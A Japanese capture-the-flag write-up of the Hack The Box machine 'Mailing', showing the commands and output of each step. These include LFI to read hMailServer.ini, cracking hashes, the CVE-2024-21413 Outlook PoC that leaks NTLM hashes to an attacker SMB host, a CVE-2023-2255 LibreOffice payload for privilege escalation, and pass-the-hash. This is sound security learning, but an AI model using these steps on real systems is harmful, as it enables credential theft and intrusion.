今回はHackTheBoxのEasyマシン「Mailing」のWriteUpです!
名前からしてメール関係の脆弱性?がありそうですが、どのようなマシンなのでしょうか。
グラフはMediumにしては難しいですかね。。
評価からしても癖が強そうですが、攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Mailing
列挙
それでは攻略を開始します。
まずはポートスキャンです。
+[~/mailing]
(σ▰>∇<)σ<10.10.14.23>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.129.75.104
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: USER TOP UIDL
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: CAPABILITY ACL IMAP4rev1 CHILDREN QUOTA completed NAMESPACE OK IDLE SORT IMAP4 RIGHTS=texkA0001
445/tcp open microsoft-ds?
465/tcp open ssl/smtp hMailServer smtpd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|_ssl-date: TLS randomness does not represent time
587/tcp open smtp hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
993/tcp open ssl/imap hMailServer imapd
|_imap-capabilities: CAPABILITY ACL IMAP4rev1 CHILDREN QUOTA completed NAMESPACE OK IDLE SORT IMAP4 RIGHTS=texkA0001
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
60155/tcp open msrpc Microsoft Windows RPC
マシンの名前の通り、メール関係のポートがオープンしていますね。
メールも気になりますが、とりあえずブラウザでWEBにアクセスしてみます。
メールサーバの説明?が行われているサイトが表示されました。
Local File Inclusion
サイトの一番下を見てみると、「Download Instructions」というボタンがあることがわかります。
押下してみると以下のリクエストが送信されました。
GET /download.php?file=instructions.pdf HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Download.php
へリクエストが送信され、パラメータとしてfile=instructions.pdf
が指定されています。
ダウンロードするファイルをパラメータで指定しているということは、ローカルファイルを読み取ることが可能かもしれません。今回の対象はWindowsなので、\Windows\win.ini
が読み取れるかどうか試してみます。
ファイルの読み取りに成功しました!
AdministratorPassword
それでは、LFIを悪用しローカルファイルから侵入につながりそうな情報を取得していきましょう。
問題はどのようなファイルを読み取るかですが、私はターゲットでhMailServer
が動作していることに注目しました。メールサーバが動作しているということは認証情報を取得することができれば、メールを読むことができ、侵入につながるかもしれません。
軽くGoogleでhMailServer
について調べてみると、以下の記事を発見しました。
これはhMailServer
のサイトのようで、サーバの構成がまとめられていますが、記事の中で気になったのは概要の部分です。概要にはhMailServer.ini
に一般的な設定が保存されると書かれています。このファイルを読み取ることができれば、認証情報を取得できそうです。
hMailServer.ini
がどのようなパスで保存されるのかを確認するため、もう少しGoogleで調べてみると、以下のような記事も発見しました。
記事のよると、hMailServer.ini
はC:\Program Files (x86)\hMailServer\Bin
に保存されることが多いようです。では、このパスを指定してLFIを発火させてみましょう。
hMailServer.ini
を読み取ることに成功し、AdministratorPassword
を取得することに成功しました!このパスワードはMD5でハッシュ化されていると記事で書かれていたので、hashcat
で解読できないか試してみます。
+[~/mailing]
(σ▰>∇<)σ<10.10.14.23>$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 841bb5acfa6779ae432fd7a4e6600ba7
解読に成功しました!では、このパスワードを使用してメールサーバへログインしてみましょう。
+[~/mailing]
(σ▰>∇<)σ<10.10.14.23>$ telnet 10.129.77.174 143
Trying 10.129.77.174...
Connected to 10.129.77.174.
Escape character is '^]'.
* OK IMAPrev1
a login "administrator@mailing.htb" "homenetworkingadministrator"
a OK LOGIN completed
ログインに成功しました。メールがあるかを確認してみます。
a list "" "*"
* LIST (\HasNoChildren) "." "INBOX"
a OK LIST completed
a select INBOX
* 0 EXISTS
* 0 RECENT
* FLAGS (\Deleted \Seen \Draft \Answered \Flagged)
* OK [UIDVALIDITY 1709316818] current uidvalidity
* OK [UIDNEXT 1] next uid
* OK [PERMANENTFLAGS (\Deleted \Seen \Draft \Answered \Flagged)] limited
a OK [READ-WRITE] SELECT completed
なんとメールは一件も存在しませんでした。。
どうやらメールから情報を取得する道ではないようです。
CVE-2024-21413
なにか他の道があるようですが、それが一体なんなのか。。
私はメールサーバの認証情報を取得したので、メールに関連する脆弱性に焦点を絞り、Googleで調べることにしました。いくつかの脆弱性を検証し、割と時間を使いましたが最終的にかなり確度が高そうな脆弱性を発見しました。
これはMicrosoft Outlookの脆弱性で、#MonikerLink
のバグによりローカルNTLMの漏洩やリモートコード実行のおそれがあるようです。
概要 : CVE-2024-21413
Microsoft Outlookの脆弱性です。本来Outlookではskype
やリモートファイルを示すfile
などのハイパーリンクが指定されたとき、警告やエラーメッセージを出力します。この動作はかなりセキュアで、ローカルNTLMの漏洩を防ぎます。
しかし、そのハイパーリンクの中に!something
という文字列(something
はランダムな文字列)を追加することで、制限を回避しリモートへのアクセスに成功します。これによって、ローカルNTLMが漏洩し、複雑な攻撃を行うことでリモートコード実行へつながる恐れがあります。
GitHubにPoCも公開されていました。
ユーザ名やパスワード、送信者のメールアドレスが必要なようですが、すべて取得しているのでその情報を指定します。
server "mailing.htb"
port "587"
username "administrator@mailing.htb"
password "homenetworkingadministrator"
sender "administrator@mailing.htb"
url "\\10.10.14.23\mail"
subject "exploit"
あとは、受信者を指定するだけですが、問題はどのようなメールアドレスを指定するかです。サイトを見てみると、3人のユーザがいることを確認できます。
それぞれのメールアドレスが存在するかはわかりませんが、存在する可能性は十分あるので指定していきます。
Ruy = ruy@mailing.htb
Maya = maya@mailing.htb
Gregory = gregory@mailing.htb
では、実行していきますがローカルNTLMを取得するためのresponder
を忘れずに実行しておいてください。
+[~/mailing]
(σ▰>∇<)σ<10.10.14.23>$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.4.0
...
[+] Current Session Variables:
Responder Machine Name [WIN-CARVMTQXK0E]
Responder Domain Name [DM8G.LOCAL]
Responder DCE-RPC Port [48105]
[+] Listening for events...
準備万端です!PoCを実行しましょう。
+[~/mailing/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability]
(σ▰>∇<)σ<10.10.14.23>$ python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\10.10.14.23\mail' --subject exploit
CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de
✅ Email sent successfully.
メールの送信に成功しました。
ローカルNTLMが取得できたか確認してみましょう。
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.81.23
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash : maya::MAILING:d81ff4aba1c4bcf4:F373D91F3413F3F99F3F519FD0409E78:01010000000000000034A7863EA1DA01597486534936181B000000000200080043004C005600410001001E00570049004E002D005300450050004400460034005000420041004B00460004003400570049004E002D005300450050004400460034005000420041004B0046002E0043004C00560041002E004C004F00430041004C000300140043004C00560041002E004C004F00430041004C000500140043004C00560041002E004C004F00430041004C00070008000034A7863EA1DA0106000400020000000800300030000000000000000000000000200000E3FB7C36572D8C9253C9EF6011C25F032D272DCBD1FD397851359C25A92E52E60A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00360031000000000000000000
ハッシュが取得できました!
maya としてのシェル
では取得したハッシュを解読していきましょう。
+[~/mailing]
(σ▰>∇<)σ<10.10.14.61>$ hashcat -m 5600 ntlm.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 7730U with Radeon Graphics, 2915/5894 MB (1024 MB allocatable), 6MCU
...
MAYA::MAILING:d81ff4aba1c4bcf4:f373d91f3413f3f99f3f519fd0409e78:01010000000000000034a7863ea1da01597486534936181b000000000200080043004c005600410001001e00570049004e002d005300450050004400460034005000420041004b00460004003400570049004e002d005300450050004400460034005000420041004b0046002e0043004c00560041002e004c004f00430041004c000300140043004c00560041002e004c004f00430041004c000500140043004c00560041002e004c004f00430041004c00070008000034a7863ea1da0106000400020000000800300030000000000000000000000000200000e3fb7c36572d8c9253c9ef6011c25f032d272dcbd1fd397851359c25a92e52e60a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00360031000000000000000000:m4y4ngs4ri
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
...
解読に成功しました!evil-winrm
を実行しシェルが取得できそうです。
+[~/mailing]
(σ▰>∇<)σ<10.10.14.5>$ evil-winrm -i 10.10.11.14 -u maya -p m4y4ngs4ri
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maya\Documents> whoami
mailing\maya
シェルを取得できました~!
*Evil-WinRM* PS C:\Users\maya\Desktop> dir
Directory: C:\Users\maya\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/28/2024 7:34 PM 2350 Microsoft Edge.lnk
-ar--- 5/8/2024 12:04 PM 34 user.txt
ユーザフラグも取得できました!
権限昇格
それではここから権限昇格を目指していきましょう。
まずはwhoami /priv
から実行していきます。
*Evil-WinRM* PS C:\Users\maya\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================================ =======
SeChangeNotifyPrivilege Omitir comprobaci¢n de recorrido Enabled
SeUndockPrivilege Quitar equipo de la estaci¢n de acoplamiento Enabled
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Enabled
SeTimeZonePrivilege Cambiar la zona horaria Enabled
権限を見た感じでは特に悪用できそうなものはなさそうです。
グループも確認しましたが、特に気になるグループはなかったのでとりあえずwinpeas
を実行してみることにしました。
*Evil-WinRM* PS C:\Users\maya\Documents> .\winpeas.exe
Program 'winpeas.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\winpeas.exe
+ ~~~~~~~~~~~~~.
At line:1 char:1
+ .\winpeas.exe
+ ~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
なんと!HackTheBoxでは珍しいですが、Windows Defender
が有効になっているようです。
検知回避が必要かと一瞬考えましたが、Easyマシンで検知回避は少し難しすぎる気もするので、もう少し色々と列挙してみることにしました。
CVE-2023-2255
とりあえずインストールされているサービスを確認します。
*Evil-WinRM* PS C:\Program Files> dir
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/27/2024 5:30 PM Common Files
d----- 3/3/2024 4:40 PM dotnet
d----- 3/3/2024 4:32 PM Git
d----- 4/29/2024 6:54 PM Internet Explorer
d----- 3/4/2024 6:57 PM LibreOffice
d----- 3/3/2024 4:06 PM Microsoft Update Health Tools
d----- 12/7/2019 10:14 AM ModifiableWindowsApps
d----- 2/27/2024 4:58 PM MSBuild
d----- 2/27/2024 5:30 PM OpenSSL-Win64
d----- 3/13/2024 4:49 PM PackageManagement
d----- 2/27/2024 4:58 PM Reference Assemblies
d----- 3/13/2024 4:48 PM RUXIM
d----- 2/27/2024 4:32 PM VMware
d----- 3/3/2024 5:13 PM Windows Defender
d----- 4/29/2024 6:54 PM Windows Defender Advanced Threat Protection
d----- 3/3/2024 5:13 PM Windows Mail
d----- 3/3/2024 5:13 PM Windows Media Player
d----- 4/29/2024 6:54 PM Windows Multimedia Platform
d----- 2/27/2024 4:26 PM Windows NT
d----- 3/3/2024 5:13 PM Windows Photo Viewer
d----- 4/29/2024 6:54 PM Windows Portable Devices
d----- 12/7/2019 10:31 AM Windows Security
d----- 3/13/2024 4:49 PM WindowsPowerShell
やはりWindows Defender
が使用されていますね。他にも見慣れないサービスがあるので、それぞれに脆弱性がないかを調査していきます。
*Evil-WinRM* PS C:\Program Files\LibreOffice\readmes> type readme_es.txt
======================================================================
Léame de LibreOffice 7.4
======================================================================
...
LibreOffice
を調査していると、バージョンが7.4であることがわかりました。
このバージョンに脆弱性が存在しないかGoogleで調べてみると、以下の記事を発見しました。
権限昇格の脆弱性がありそうです!
PoCが公開されていないかGitHubで検索すると、PoCも見つけることができました。
GitHubによると、PoCを実行することで、.odt
ファイルが作成されます。それをImportant Documents
フォルダにアップロードすることで、--cmd
以降に指定したコマンドが実行されるようです。なので、maya
ユーザをAdministradores
グループに追加するコマンドを指定すれば、権限昇格できそうです。
では、攻撃を開始しましょう。まずはリポジトリをcloneします。
+[~/mailing]
(σ▰>∇<)σ<10.10.14.5>$ git clone https://github.com/elweth-sec/CVE-2023-2255.git
Cloning into 'CVE-2023-2255'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 2), reused 5 (delta 0), pack-reused 0
Receiving objects: 100% (10/10), 8.47 KiB | 1.21 MiB/s, done.
Resolving deltas: 100% (2/2), done.
KaliにPoCをダウンロードできたので、PoCを実行していきます。
+[~/mailing/CVE-2023-2255]
(σ▰>∇<)σ<10.10.14.5>$ python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'
File exploit.odt has been created !
次に、KaliでWEBサーバを立ち上げ対象へダウンロードさせます。
> Kali
+[~/mailing/CVE-2023-2255]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
> mailing
*Evil-WinRM* PS C:\Important Documents> wget http://10.10.14.5:8000/exploit.odt -o exploit.odt
ダウンロードできたので、少し待った後にグループを確認しましょう。
*Evil-WinRM* PS C:\Important Documents> net users maya
User name maya
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2024-04-12 4:16:20 AM
Password expires Never
Password changeable 2024-04-12 4:16:20 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2024-05-11 4:06:27 PM
Logon hours allowed All
Local Group Memberships *Administradores *Remote Management Use
*Usuarios *Usuarios de escritori
Global Group memberships *Ninguno
The command completed successfully.
Administradores
グループに所属しています!脆弱性の悪用に成功しました~!
localadmin としてのシェル
それでは、Administradores
グループに所属できたので、SAMデータベースからハッシュを取得しましょう。
+[~/mailing]
(σ▰>∇<)σ<10.10.14.5>$ crackmapexec smb 10.10.11.14 -u maya -p m4y4ngs4ri --sam
実行すると、各ユーザのハッシュを取得できました!
localadmin
のハッシュを使用して、権限を昇格させましょう。
+[~/mailing]
(σ▰>∇<)σ<10.10.14.5>$ impacket-wmiexec localadmin@10.10.11.14 -hashes aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
mailing\localadmin
権限昇格に成功しました!
C:\Users\localadmin\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 9502-BA18
Directory of C:\Users\localadmin\Desktop
2024-04-12 06:10 AM <DIR> .
2024-04-12 06:10 AM <DIR> ..
2024-02-27 05:30 PM 2,350 Microsoft Edge.lnk
2024-05-09 07:44 AM 34 root.txt
2 File(s) 2,384 bytes
2 Dir(s) 4,172,271,616 bytes free
フラグも取得し、完全攻略達成です~!
攻略を終えて
今回のマシンはなかなか見慣れないサービスが多く、調べながらの攻略だったのでEasyにしては時間がかかりました。。ただ、MonikerLinkのバグからNTLMハッシュの取得やRCEが可能であるということを知れたので学びに繋がりました。
権限昇格時にWindows Defenderがオンになっていたので驚きました。評価の低さはこれが原因かもしれませんが、実社会ではオフであることなどほとんどないので、甘えずに検知回避も極めていきたいなと思います。
今後もHackTheBoxのWriteUpを公開していくので見ていただけると嬉しいです。
最後まで閲覧していただきありがとうございました!